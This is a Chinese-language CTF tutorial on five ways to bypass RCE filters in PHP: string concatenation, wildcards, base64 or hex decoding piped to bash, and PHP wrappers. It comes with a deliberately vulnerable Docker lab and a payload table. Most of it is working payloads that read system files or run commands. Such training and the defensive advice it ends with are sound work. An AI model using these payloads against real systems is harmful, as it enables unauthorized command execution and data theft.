1. 从实战出发为什么RCE绕过是CTF的“硬骨头”在CTFCapture The Flag夺旗赛中Web安全方向的题目里远程命令执行RCE漏洞的利用与绕过一直是区分新手和老手的一道分水岭。很多刚入门的朋友学会了基础的system($_GET[‘cmd’])利用兴冲冲地去打靶场却常常在第一个过滤环节就铩羽而归。服务器可不是那么听话的出题人早就设下了重重关卡关键词过滤、命令分隔符禁用、长度限制、无回显……每一个限制都像是一把锁而我们的任务就是找到打开这些锁的钥匙也就是所谓的“绕过姿势”。我打CTF也有些年头了从最初的“一脸懵”到后来能独立解出一些中等难度的RCE题中间踩过的坑、掉进的陷阱不计其数。今天我不讲那些基础的空格绕过、分号绕过那些资料太多了。我想分享的是在我实战中遇到的真正让我觉得“刁钻”、需要多转几个弯才能想通的5个绕过姿势。这些姿势往往结合了系统特性、编程语言特性和一些“脑洞大开”的思路。更重要的是我不会只给你一个概念对于每一种姿势我都会附上可以直接在本地或在线靶场复现的命令和详细解释。你可以把它们看作是我的“错题本”精华希望能帮你少走些弯路。2. 核心绕过姿势深度解析与靶场实战2.1 姿势一变量拼接与动态函数调用这是最经典也最需要灵活思维的一种绕过方式。当过滤了诸如system、exec、shell_exec、passthru这些明显的危险函数名时我们该怎么办直接写函数名行不通了但PHP的动态特性给了我们可乘之机。核心原理在PHP中一个字符串可以通过变量、拼接等方式构造出来然后利用$func($cmd)这种可变函数的形式来执行。如果过滤了完整的函数名但没过滤构成函数名的字母或者没过滤用于拼接的点号.和用于执行的可变函数语法那么绕过就成为可能。实战场景模拟假设靶场代码如下它用preg_match严格过滤了system、exec等关键词。?php $cmd $_GET[cmd]; $rce $_GET[rce]; if (isset($rce)) { if (!preg_match(/system|exec|shell_exec|passthru/i, $rce)) { eval($rce); // 危险操作仅用于靶场演示 } else { die(Hacker!); } } ?看起来eval($rce)还在但我们的$rce参数里不能出现那些函数名。这时候变量拼接就派上用场了。复现命令与步骤思路拆解我们的目标是构造一个字符串其最终内容是system(‘whoami’)但不能直接出现system。构造Payload我们可以利用字符串拼接。例如$a’sys’; $b’tem’;那么$a.$b的结果就是system。最终Payloadrce$a’sys’;$b’tem’;$c$a.$b;$c(‘whoami’);分解来看$a’sys’和$b’tem’定义了两个字符串变量。$c$a.$b;将两者拼接此时$c的值为字符串system。$c(‘whoami’);利用可变函数将$c的值作为函数名调用等同于system(‘whoami’)。URL请求示例http://target.com/vuln.php?rce$a’sys’;$b’tem’;$c$a.$b;$c(‘whoami’);注意事项与心得引号问题如果靶场还过滤了单引号’或双引号”我们可以用PHP的字符串定义方式绕过比如使用chr()函数拼接ASCII码。例如$achr(115).chr(121).chr(115);来构造sys。更隐蔽的拼接除了点号还可以利用{}花括号进行复杂的字符串操作或者利用数组[‘sy’,’st’,’em’]再implode拼接。思路的核心是“化整为零”。实战检查点遇到过滤先别慌看看哪些字符是允许的。点号、括号、分号、变量符号$是否存活这决定了你能玩出多少花样。2.2 姿势二通配符的魔法——当命令黑名单遇到“万金油”在Linux/Unix系统下通配符是一个强大到经常被忽视的工具。当题目过滤了具体的命令如cat、ls、more、less甚至过滤了flag这个文件名时通配符往往能创造奇迹。核心原理通配符*可以匹配任意长度任意字符?匹配单个任意字符。在命令执行中bash会先进行通配符扩展然后再执行命令。如果我们可以利用目录下的已知文件或能猜测的模式就可以用通配符来替代被过滤的关键词。实战场景模拟靶场过滤了cat、flag等关键词但我们知道flag文件就在当前目录可能叫flag.txt、flag.php或f1ag。if (!preg_match(/cat|flag|more|less|head|tail/i, $cmd)) { system($cmd); } else { die(Bad command!); }直接cat flag.txt行不通了。复现命令与步骤思路一匹配文件名。如果flag文件是当前目录下唯一以fl开头.txt结尾的文件我们可以尝试Payload:c?t fl*.txt解释c?t匹配cat也匹配cut、cet等但只要当前目录下cat命令存在它就会优先被匹配执行。fl*.txt匹配所有以fl开头以.txt结尾的文件。系统会将其扩展为cat flag.txt然后执行。思路二利用ls和反引号/$()嵌套执行。如果cat被过滤但ls和命令替换没被过滤。Payload:c\at fl\ag.php或c”a”t f”l””a”g.php解释在bash中反斜杠\和引号有时可以用于“分隔”字符使其绕过简单的字符串匹配。但更高级的过滤会处理这种情况。更可靠的是Payload:/???/c?t /???/fl?g(假设路径已知)解释/???/c?t会匹配/bin/cat因为/bin是4个字符cat是3个字符。这是一个非常经典的绕过姿势完全不出现任何敏感字母。思路三使用其他命令读取文件。cat不是唯一的选择。Payload:sort fl*g(读取并排序文件内容)Payload:rev fl*g(反转文件内容每一行)Payload:tac fl*g(cat的反写倒序输出)Payload:nl fl*g(带行号输出)Payload:od -a fl*g或xxd fl*g(以八进制/十六进制格式输出可用于读取二进制或包含特殊字符的文件)Payload:strings fl*g(打印文件中可打印的字符序列)注意事项与心得环境依赖通配符扩展依赖于当前目录的文件列表。在完全未知的环境下可能需要先ls或ls -la查看目录结构如果ls没被过滤。长度限制有时题目会有命令长度限制。通配符特别是*可能会扩展出很长的字符串导致命令超长而失败。此时可以尝试更精确的?匹配或者结合目录跳转。绝对路径的使用使用/???/c?t这类绝对路径通配符不依赖PATH环境变量更加稳定。你需要对Linux常见命令的路径有所了解如/bin/cat,/usr/bin/head,/bin/ls。2.3 姿势三内联执行与命令替换的“套娃”艺术命令替换就是把一个命令的输出作为另一个命令的参数。在绕过中它可以把被过滤的命令“藏”在子命令中或者构造出绕过黑名单的字符串。核心原理在Shell中反引号 和$()都可以实现命令替换。例如echo $(whoami)会先执行whoami将其输出作为echo的参数。我们可以利用这个特性来“生成”被过滤的字符或命令。实战场景模拟过滤非常严格连cat、c?t、*通配符都被检测了。但我们发现字母和数字、以及$、()可能没有被过滤。if (preg_match(/cat|flag|\*|\?|more|less/i, $cmd)) { die(Not allowed!); }复现命令与步骤姿势A用echo或printf构造命令字符串并执行。这需要eval或bash -c等能够执行字符串的环境。假设我们可以在参数中注入。Payload:cmd$(echo${IFS}”Y2F0IC9ldGMvcGFzc3dkCg”|base64${IFS}-d|bash)解释这是一个“套娃”操作。echo “Y2F0IC9ldGMvcGFzc3dkCg”输出一个Base64字符串。| base64 -d将其解码得到原文cat /etc/passwd。这里用${IFS}替代了空格IFS是内部字段分隔符默认为空格是一种常见的空格绕过。| bash将解码后的命令字符串通过管道传递给bash执行。简化版如果环境支持$()嵌套且过滤不严可以$(echo${IFS}”cat${IFS}/etc/passwd”|bash)。姿势B利用环境变量或子Shell生成字符。Payload:c$(printf${IFS}”\141”)t /etc/passwd(printf “\141”输出字母a的八进制ASCII码所以c\141t就是cat)Payload:/bi?/c$t /etc/passwd($在大多数情况下扩展为空所以c$t就是cat这是一个很冷门但有效的技巧)姿势C文件描述符与重定向结合。如果连bash -c都被怀疑可以尝试纯重定向。Payload:cmd/etc/passwd(在某些Shell中可以同时用于读写打开文件描述符然后结合head -c 1000 3之类的操作但通常需要更复杂的注入点)注意事项与心得空格绕过是前置技能内联执行经常需要处理空格被过滤的情况。除了${IFS}还有、、{cmd,args}、%09(Tab的URL编码)、$IFS$9等多种方式需要根据过滤情况灵活选用。注意引号如果过滤了引号构造字符串会更麻烦可能需要用到\xXX十六进制或\0XXX八进制表示法在echo -e或printf中生成字符。测试环境内联执行的Payload有时高度依赖于目标系统的Shell类型bash, sh, dash等。在打靶场时最好先确认一下Shell环境例如用echo $0或ls -l /bin/sh。2.4 姿势四编码与十六进制/八进制的“障眼法”当所有直接的字符和简单替换都被封死时将命令进行编码让它在传输和初步检测时是“无害”的到了执行阶段再解码是一种降维打击的思路。核心原理利用支持解码的命令或语言特性如base64、xxd、hexdump或者PHP的hex2bin()等函数将真正的命令编码后传输在目标端解码执行。实战场景模拟过滤了几乎所有特殊字符和关键字但允许数字、字母和等号Base64的特征字符。// 假设有一个非常严格的正则只允许字母数字和等号 if (!preg_match(/^[a-zA-Z0-9]$/, $input)) { die(Invalid input!); } // 但后端某处有不安全的 eval: eval(base64_decode($input));复现命令与步骤Base64编码绕过这是最常用的一种。准备Payload我们想执行cat /flag。本地编码echo -n “cat /flag” | base64。输出可能是Y2F0IC9mbGFnCg。注意-n避免换行符也被编码进去。构造注入如果后端是eval(base64_decode($_GET[‘code’]))那么直接传递codeY2F0IC9mbGFnCg即可。在Shell环境下利用管道如果注入点在系统命令中且base64命令可用可以echo${IFS}”Y2F0IC9mbGFnCg”|base64${IFS}-d|bash。十六进制编码绕过使用xxd或hexdump。准备Payloadecho -n “cat /flag” | xxd -ps。输出是连续的十六进制字符串如636174202f666c61670a。执行echo${IFS}”636174202f666c61670a”|xxd${IFS}-ps${IFS}-r|bash。-ps表示纯十六进制字符串-r表示反转。八进制编码绕过使用printf或echo的八进制转义。这通常用于构造单个被过滤的字符而不是整个命令。例如cat被过滤可以尝试$(printf${IFS}”\143\141\164”)${IFS}/flag。因为\143是c的八进制\141是a\164是t。注意事项与心得注意换行符echo默认会加换行符编码时使用echo -n或printf避免多余字符。解码后多余换行可能导致命令执行失败。编码工具可用性目标系统上必须有对应的解码工具base64、xxd、python等。在Linux中base64和xxd通常是默认安装的但并非绝对。python或perl的编码解码模块也是备选。组合拳编码后的字符串本身可能包含被过滤的字符如Base64后的/和。如果这些字符也被过滤可能需要二次编码或者换用十六进制只包含0-9a-f。2.5 姿势五利用PHP特性与伪协议的“奇技淫巧”当漏洞点在一个PHP的eval、include或反引号命令执行中并且过滤是针对系统命令的我们不妨换个思路直接利用PHP自身的强大功能来达到目的比如读取文件、执行代码。核心原理PHP提供了丰富的内置函数和包装器伪协议可以用于文件操作、网络请求等。当system、shell_exec被禁用时我们可以尝试文件操作函数file_get_contents()、readfile()、highlight_file()、show_source()来读取文件。目录遍历函数scandir()、glob()来列出文件。PHP伪协议php://filter用于读取文件源码特别是经过编码后绕过死亡代码和过滤data://用于直接执行代码。实战场景模拟一个PHP的RCE点但过滤了所有常见的系统命令执行函数和反引号。$code $_GET[‘code’]; $blacklist [‘system’, ‘exec’, ‘shell_exec’, ‘passthru’, ‘proc_open’, ‘pcntl_exec’, ‘’, ‘$’]; foreach ($blacklist as $bad) { if (stripos($code, $bad) ! false) { die(‘Hacker!’); } } eval($code); // 我们的注入点复现命令与步骤姿势A使用file_get_contents读取文件。Payload:codeecho(file_get_contents(‘/flag.txt’));如果路径被过滤可以尝试使用./、../或绝对路径。如果文件名被过滤可以用scandir(‘.’)先查看目录。姿势B使用scandir遍历目录定位flag。Payload:codeprint_r(scandir(‘.’));查看当前目录。Payload:codeprint_r(scandir(‘/’));查看根目录。找到flag文件后再用file_get_contents读取。姿势C使用php://filter伪协议读取源码常用于CTF的php文件包含。虽然这里不是包含但file_get_contents也能用这个协议。Payload:codeecho(file_get_contents(‘php://filter/convert.base64-encode/resource/flag.php’));解释这个Payload会以Base64编码的形式输出/flag.php文件的内容。编码可以避免文件内容中的PHP标签?php ?被直接执行也能绕过一些基于内容匹配的过滤。收到Base64输出后本地解码即可。姿势D使用data://伪协议直接执行代码。这需要allow_url_include设置为On默认是Off但CTF中有时会开启。Payload:codeinclude(‘data://text/plain,?php system(“whoami”);?’);或者更隐蔽的coderequire_once(‘data://text/plain;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg’);(Base64编码的?php system(“whoami”);?)注意事项与心得函数禁用列表除了黑名单还要注意disable_functions这个PHP配置。它会直接禁用某些函数无论你怎么拼接调用都没用。这时就需要寻找未被禁用的“漏网之鱼”比如mail()函数配合LD_PRELOAD劫持属于更高阶的技巧或者ImageMagick等扩展的命令执行漏洞。开放程度data://和php://input等伪协议的使用受allow_url_include和allow_url_fopen配置控制。在实战信息收集中可以通过phpinfo()函数查看这些配置。信息收集永远是第一步在尝试复杂的PHP绕过前先想办法输出phpinfo()的内容了解服务器环境、禁用函数、开放配置等能让你事半功倍。Payload可以是codephpinfo();。3. 靶场复现环境搭建与命令整合理论讲完了没有实战一切都是空谈。下面我提供一个最简化的本地复现环境搭建方法以及将上述5种姿势整合进去的测试命令。我推荐使用Docker来快速搭建一个包含漏洞的PHP环境这样最干净也最安全。环境搭建步骤安装Docker请根据你的操作系统Windows/macOS/Linux从Docker官网下载并安装Docker Desktop或Docker Engine。创建漏洞文件在本地创建一个目录例如ctf-rce在里面创建一个index.php文件内容如下这是一个综合了多种过滤的示例?php error_reporting(0); highlight_file(__FILE__); $input $_GET[‘input’] ?? ‘’; $cmd $_GET[‘cmd’] ?? ‘’; $code $_GET[‘code’] ?? ‘’; // 场景1基础命令执行过滤关键词 if (!empty($cmd)) { if (preg_match(“/cat|flag|more|less|head|tail|nl|od|strings|base64|xxd|bash|sh|python|perl/i”, $cmd)) { die(“[场景1] 命令中包含敏感关键词”); } echo “pre执行命令: “ . htmlspecialchars($cmd) . “\n”; system($cmd); echo “/pre”; } // 场景2PHP代码执行过滤函数名和反引号 if (!empty($code)) { $blacklist [‘system’, ‘exec’, ‘shell_exec’, ‘passthru’, ‘proc_open’, ‘pcntl_exec’, ‘’, ‘eval’, ‘assert’, ‘create_function’, ‘$’]; foreach ($blacklist as $bad) { if (stripos($code, $bad) ! false) { die(“[场景2] PHP代码中包含禁用函数或字符”); } } // 危险操作仅用于靶场 eval($code); } // 场景3输入严格过滤只允许字母数字 if (!empty($input) preg_match(“/^[a-zA-Z0-9]$/”, $input)) { echo “pre[场景3] 输入验证通过进行Base64解码执行\n”; // 模拟一个不安全的解码后执行点 $decoded base64_decode($input); // 注意这里为了演示直接执行解码后的字符串极度危险 // 在实际靶场中这里可能是一个命令拼接点。 echo “解码内容: “ . htmlspecialchars($decoded) . “\n”; // 假设这里有个 system($decoded); 被注释掉了我们模拟它的绕过 echo “实际场景中解码后的内容可能会被用于系统命令/pre”; } ?创建Dockerfile在同一目录下创建Dockerfile内容如下FROM php:8.2-apache RUN docker-php-ext-install mysqli docker-php-ext-enable mysqli COPY index.php /var/www/html/ RUN echo “flag{this_is_a_test_flag}” /var/www/html/flag.txt RUN chmod 755 /var/www/html/ EXPOSE 80构建并运行容器在ctf-rce目录下打开终端执行docker build -t ctf-rce-practice . docker run -d -p 8080:80 --name rce-practice ctf-rce-practice访问靶场打开浏览器访问http://localhost:8080。你应该能看到index.php的源码。整合复现命令表 现在你可以用以下Payload在搭建的靶场上进行测试。将http://localhost:8080替换成你的靶场地址。绕过姿势对应场景测试Payload (作为URL参数)原理与预期结果1. 变量拼接场景2 (PHP代码执行)?code$a’sys’;$b’tem’;$c$a.$b;$c(‘whoami’);拼接出system函数名并执行whoami。2. 通配符场景1 (命令执行)?cmd/???/c?t${IFS}/???/fl?g.txt使用通配符匹配/bin/cat和/var/www/html/flag.txt。2. 通配符(替代命令)场景1 (命令执行)?cmdsort${IFS}fl*g.txt使用sort命令替代被过滤的cat来读取flag文件。3. 内联执行(编码)场景1 (命令执行)?cmdecho${IFS}”Y2F0IC9mbGFnLnR4dAo”base64${IFS}-d3. 内联执行(printf)场景1 (命令执行)?cmdc$(printf${IFS}”\141”)t${IFS}fl$(printf${IFS}”\141”)g.txt使用printf生成被过滤的字母a。4. Base64编码绕过场景3 (严格输入)?inputY2F0IC92YXIvd3d3L2h0bWwvZmxhZy50eHQK输入纯Base64字符串模拟后端解码后可能被拼接执行。Payload是cat /var/www/html/flag.txt的编码。5. PHP文件操作场景2 (PHP代码执行)?codeecho(file_get_contents(‘/var/www/html/flag.txt’));使用PHP内置函数直接读取文件绕过系统命令过滤。5. PHP目录遍历场景2 (PHP代码执行)?codeprint_r(scandir(‘.’));使用scandir列出当前目录文件寻找flag。5. PHP伪协议场景2 (PHP代码执行)?codeecho(file_get_contents(‘php://filter/convert.base64-encode/resource/var/www/html/flag.txt’));使用filter伪协议以Base64编码形式读取文件避免特殊字符问题。重要提示这个靶场环境非常简单且不安全eval和system直接暴露绝对不要在公网或生产环境中部署此类代码。它仅用于本地学习测试。4. 实战中的组合拳与思维提升掌握了单个姿势就像学会了不同的武术招式但真正的实战往往是组合拳。出题人不会只设一道路障通常是多层过滤、多种限制叠加。这时候就需要我们灵活组合上述技巧并具备更发散的思维。案例多层过滤下的突围假设一个场景过滤了cat、flag、空格、$、*、?、{、}并且PHP的system、exec等函数也被禁用。我们只有一个eval($_GET[‘a’]);的点且a参数的内容还会经过一次addslashes()处理转义单双引号。第一步信息收集。先看看什么能用。echo phpinfo();可能被过滤但phpinfo();本身可能没被过滤。尝试?aphpinfo();。如果成功就能看到disable_functions列表和服务器配置。第二步尝试读文件。cat被过滤考虑用more或less也被过滤了。那就用PHP函数。file_get_contents可能被禁用试试readfile或highlight_file。?ahighlight_file(‘flag.php’);。如果路径被过滤用scandir找。第三步如果PHP函数也被禁。考虑用glob函数列目录?aprint_r(glob(“*”));。或者用DirectoryIterator。第四步如果所有文件操作函数都被禁。这是最难的。思路要转向寻找未禁用的危险函数比如mail()、imap_open()、ldap_connect()这些函数在某些配置下可能触发外部命令或文件操作。利用PHP Session如果可控Session也许能写入文件。利用环境变量通过putenv和mail触发LD_PRELOAD劫持需要编译so文件条件苛刻但经典。寻找其他漏洞点XSS转SSRFSSRF转内网RCE或者反序列化漏洞。RCE点可能不是最初的入口。思维提升的关键不要自我设限题目说“命令执行”不一定非得用system。只要能达成“执行代码”或“读取文件”的目的任何PHP特性、系统特性都可以用。善用“帮助”命令在Linux中man命令和命令 --help是你的好朋友。了解一个命令的所有参数可能会发现意想不到的读文件方式比如awk ‘{print}’ file、sed -n ‘p’ file。关注出题人意图CTF题目通常有明确的考察点。如果过滤了cat和flag但没过滤tac和grep那很可能就是希望你用这些命令。如果给了base64编码的提示那很可能就是要用编码绕过。本地测试想到一个Payload先在本地Linux或Docker容器里测试一下确保语法正确能产生预期效果再打到靶场上。可以节省大量时间。利用好错误信息有时候执行失败的错误信息会泄露路径、权限或过滤规则仔细阅读。5. 防御视角与总结作为一名开发者从攻击中学习防御同样重要。了解了这些绕过姿势就应该知道如何更安全地编写代码白名单优于黑名单不要试图过滤所有危险字符和函数这是防不住的。应该只允许预期的、安全的字符集。例如如果需要一个数字参数就用intval()强转而不是用正则去过滤非数字。最小权限原则运行Web服务的用户如www-data应该只有最低必要的权限。不要用root运行Web服务。限制其对文件系统的读写权限。禁用危险函数在php.ini中使用disable_functions列表禁用system、exec、shell_exec、passthru、proc_open、pcntl_exec、eval、assert、popen等函数。注意disable_functions的绕过也需要关注。谨慎使用eval、assert、preg_replace的/e修饰符这些能执行字符串代码的函数是万恶之源尽量避免使用。如果必须用要对输入进行极其严格的限制和白名单验证。对输入进行严格的类型和范围检查使用filter_var()函数进行过滤对预期是数字、邮箱、URL的输入进行验证。使用安全的命令执行函数如果确实需要调用系统命令使用escapeshellarg()或escapeshellcmd()对参数进行转义并尽量使用proc_open()或popen()而非直接执行字符串。更新与补丁保持系统、Web服务器、PHP/Python/Node.js等语言解释器以及所有依赖库的最新版本及时修复已知漏洞。回过头来看这5个“刁钻”的绕过姿势其实它们的核心思想无非是“变形”和“替代”通过拼接、编码来变形命令通过通配符、其他函数来替代功能。CTF中的RCE挑战本质上是一场思维博弈。攻击方在有限的条件下寻找程序的“非预期行为”防御方则试图堵住所有可能的缺口。对于学习者而言深入理解这些绕过技巧不仅能提升攻防能力更能深刻理解系统与语言的工作原理写出更健壮、更安全的代码。下次当你再看到preg_match(“/cat|more|less/”, $cmd)这样的过滤时希望你脑海里浮现的不再是沮丧而是多种跃跃欲试的绕过方案。记住在安全的道路上好奇心与创造力是你的最佳伙伴。